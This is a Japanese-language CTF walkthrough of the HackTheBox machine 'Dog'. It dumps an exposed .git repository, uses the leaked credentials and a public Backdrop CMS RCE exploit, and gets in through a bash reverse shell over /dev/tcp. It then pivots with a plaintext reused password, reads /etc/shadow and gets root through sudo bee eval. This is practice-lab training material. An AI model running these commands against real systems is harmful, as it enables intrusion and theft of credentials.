> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md). # Dog HackTheBox攻略記事 .gitフォルダからの情報抽出（情報漏えい）、認証済みリモートコード実行（CMS Backdrop）、ピボット（パスワード再利用）、sudoにより {% embed url="" %} {% hint style="warning" %} **スキル:** * .gitフォルダから情報を抽出（情報漏えい） * 認証済みリモートコード実行（CMS Backdrop） * ピボット（パスワードの再利用） * sudoでbeeバイナリを実行（PHPコードの実行）（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts ```

**Nmap 22.80 によるポートのバージョンスキャン:** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80 10.10.11.58 -oN targeted ```

### ポート80 - HTTP

次のものが見つかる: **.git** ディレクトリ。公開アクセス可能なGitリポジトリの可能性を示しています。サイトは **Backdrop** CMS。

**Gobusterによる列挙** ```bash gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 以下を含む、いくつかの興味深いディレクトリが見つかります **.git**.

**Gitリポジトリのダンプ** 次の方法でリポジトリの内容を取得します: ```git git-dumper http://10.10.11.58/.git .git ```

我々はある **settings.php** パスワードを含むファイル:

次の方法で保存されたメールを検索します: ```bash find .git -type f -exec grep -E '@dog' {} + ``` 次のメールアドレスが見つかります: ****.

## **Backdrop CMSの悪用（RCE）** 見つかった認証情報を使用してCMSに接続します。

**脆弱性を検索** 次の **searchsploit**、RCEの脆弱性を特定します: ```bash searchsploit -m php/webapps/52021.py ```

エクスプロイトを実行します: ```bash python3 52021.py http://10.10.11.58 ``` これにより、PHPシェルを含むZIPファイルが生成されます。

次に、シェルを次の形式に圧縮します **tar.gz**: ```bash tar -czvf shell.tar.gz shell ```

これを次の方法で注入します **admin / installer / manual**.

**注文処理** フォルダを見つけます **modules/cmd/** を含む **cmd.php**

これにより、コマンドを実行できます: ```bash ifconfig ```

### **Backdrop CMSのリバースシェル** ポート443でリスナーを開きます: ```bash nc -nlvp 443 ``` ペイロードを注入します: ```bash bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1" ```

接続後、シェルを安定化します: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## **権限昇格** ### **ユーザーjohncusackへのピボット** 有効なBashシェルを持つユーザーを一覧表示します: ```bash cat /etc/passwd | grep "/bash" ``` 私たちは **root、jobert、johncusack**.

認証情報の再利用を試み、次の方法でアクセスを取得します: ```bash su johncusack BackDropJ2024DS2024 ```

### フラグ user.txt :)

### **Beeバイナリによる権限昇格** sudo権限を確認します: ```bash sudo -l ``` 次を実行できます **/usr/local/bin/bee** root権限で。

**Beeの解析** {% hint style="info" %} Beeは以下のための管理ツールです **Backdrop CMS**、次のものに似ています **Drush** Drupal向けのものです。さまざまなコマンドの実行を可能にします。 {% endhint %} `使用法: bee [global-options] [options] [arguments]`

次を特定します **eval** オプション。任意のPHPコードを実行できます。

**読み取り `/etc/shadow`** {% code overflow="wrap" %} ```bash sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");' ``` {% endcode %}

**rootシェルを取得** {% code overflow="wrap" %} ```bash sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");' ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.